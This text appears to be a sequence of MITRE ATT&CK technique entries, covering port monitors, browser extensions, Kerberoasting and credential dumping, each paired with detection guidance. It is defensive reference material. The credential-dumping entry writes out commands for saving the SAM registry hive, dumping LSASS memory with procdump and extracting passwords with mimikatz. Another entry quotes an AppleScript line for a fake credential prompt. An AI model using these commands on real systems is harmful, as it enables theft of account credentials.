User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.
Platforms: Linux, macOS, Windows
Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow
Permissions Required: Administrator, SYSTEM
System Requirements: Network interface access and packet capture driver
Links |
Port Monitors - T1013
A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. The Registry key contains entries for the following: *Local Port *Standard TCP/IP Port *USB Monitor *WSD Port
Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
Detection: * Monitor process API calls to (Citation: AddMonitor). * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor Registry writes to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)
Platforms: Windows
Data Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring
Effective Permissions: SYSTEM
Permissions Required: Administrator, SYSTEM
Contributors: Stefan Kanthak, Travis Smith, Tripwire
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Browser Extensions - T1176
Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser’s app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).
Detection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
Platforms: Linux, macOS, Windows
Data Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions
Permissions Required: User
Contributors: Justin Warner, ICEBRG
Hardware Additions - T1200
Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.
Detection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network.
Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.
Platforms: Linux, Windows, macOS
Data Sources: Asset Management, Data loss prevention
Links |
https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html |
http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx |
Software Packing - T1045
Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.
Detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.
Platforms: Windows
Data Sources: Binary file metadata
Defense Bypassed: Anti-virus, Signature-based detection, Heuristic detection
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Application Window Discovery - T1010
Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.
In Mac, this can be done natively with a small AppleScript script.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: macOS, Windows
Data Sources: API monitoring, Process command-line parameters, Process monitoring
Permissions Required: User
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Kerberoasting - T1208
Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)
This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)
Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)
Detection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)
Platforms: Windows
Data Sources: Windows event logs
Permissions Required: User
System Requirements: Valid domain account or the ability to sniff traffic within a domain.
Contributors: Praetorian
Links |
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ |
Multi-hop Proxy - T1188
To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Detection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.
Platforms: Linux, macOS, Windows
Data Sources: Network protocol analysis, Netflow/Enclave netflow
Requires Network: Yes
Links |
Hypervisor - T1062
A type-1 hypervisor is a software layer that sits between the guest operating systems and system’s hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.
Detection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)
Platforms: Windows
Data Sources: System calls
Permissions Required: Administrator, SYSTEM
Links |
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf |
http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html |
Credential Dumping - T1003
Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.
===SAM (Security Accounts Manager)===
The SAM is a database file that contains local accounts for the host, typically those found with the ‘net user’ command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py
Alternatively, the SAM can be extracted from the Registry with Reg: * <code>reg save HKLM\sam sam</code> * <code>reg save HKLM\system system</code>
Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)
Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.
===Cached Credentials===
The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz
Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.
Notes: Cached credentials for Windows Vista are derived using PBKDF2.
===Local Security Authority (LSA) Secrets===
With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py
Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.
Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation.
===NTDS from Domain Controller===
Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy
===Group Policy Preference (GPP) Files===
Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts. These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP) The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: * Metasploit’s post exploitation module: "post/windows/gather/credentials/gpp" * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s *.xml
===Service Principle Names (SPNs)===
See Kerberoasting.
===Plaintext Credentials===
After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM. SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.
The following SSPs can be used to access credentials: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP) The following tools can be used to enumerate credentials: * Windows Credential Editor * Mimikatz As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code> Locally, mimikatz can be run: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code>
===DCSync===
DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller’s application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and DCSync) or change an account’s password as noted in Account Manipulation. (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)
Detection: Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit’s Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
Platforms: Windows
Data Sources: API monitoring, Process command-line parameters, Process monitoring, PowerShell logs
Permissions Required: Administrator, SYSTEM
Contributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs
Deobfuscate/Decode Files or Information - T1140
Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.
One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)
Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil.
Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.
Platforms: Windows
Data Sources: File monitoring, Process Monitoring, Process command-line parameters
Defense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system
Permissions Required: User
Contributors: Matthew Demaske, Adaptforward, Red Canary
Links |
Time Providers - T1209
The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)
Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)
Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)
Detection: Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)
The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)
Platforms: Windows
Data Sources: API monitoring, Binary file metadata, DLL monitoring, File monitoring, Loaded DLLs, Process Monitoring
Permissions Required: Administrator, SYSTEM
Contributors: Scott Lundgren, @5twenty9, Carbon Black
Links |
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top |
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx |
HISTCONTROL - T1148
The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
Detection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.
Platforms: Linux, macOS
Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable
Defense Bypassed: Log analysis, Host forensic analysis
Permissions Required: User
Links |
SID-History Injection - T1178
The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).
Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.
Detection: Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)
Monitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)
Monitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)
Platforms: Windows
Data Sources: API monitoring, Authentication logs, Windows event logs
Permissions Required: Administrator, SYSTEM
Contributors: Vincent Le Toux
Links |
https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx |
Web Service - T1102
Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Defense Bypassed: Binary Analysis, Log analysis, Firewall
Permissions Required: User
Requires Network: Yes
Contributors: Anastasios Pingios
Links |
Query Registry - T1012
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Platforms: Windows
Data Sources: Windows Registry, Process monitoring, Process command-line parameters
Permissions Required: User, Administrator, SYSTEM
Links |
Third-party Software - T1072
Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.
Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.
Detection: Detection methods will vary depending on the type of third-party software or system and how it is typically used.
The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems.
Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.
Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.
Platforms: Linux, Windows, macOS
Data Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry
Permissions Required: Administrator, SYSTEM, User
Remote Support: Yes
Links |
Remote File Copy - T1105
Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.
Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring
Permissions Required: User
Requires Network: Yes
Links |
File System Logical Offsets - T1006
Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
Detection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)
Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.
Platforms: Windows
Data Sources: API monitoring
Defense Bypassed: File monitoring, File system access controls
Permissions Required: Administrator
Input Prompt - T1141
When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:
<code>set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")</code> (Citation: OSX Keydnap malware)
Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)
Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.
Platforms: macOS
Data Sources: User interface, Process Monitoring
Permissions Required: User
Shared Webroot - T1051
Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website’s webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.
This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.
Detection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.
Platforms: Windows
Data Sources: File monitoring, Process monitoring
System Requirements: Shared webroot directory on remote system
Links |
Indicator Blocking - T1054
An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.
Detection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.
Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.
Platforms: Windows
Data Sources: Sensor health and status, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems
Links |
Exfiltration Over Physical Medium - T1052
In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.
Detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.
Platforms: Linux, macOS, Windows
Data Sources: Data loss prevention, File monitoring
System Requirements: Presence of physical medium or device
Requires Network: No
Links |
Access Token Manipulation - T1134
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>. (Citation: Microsoft runas)
Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)
Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)
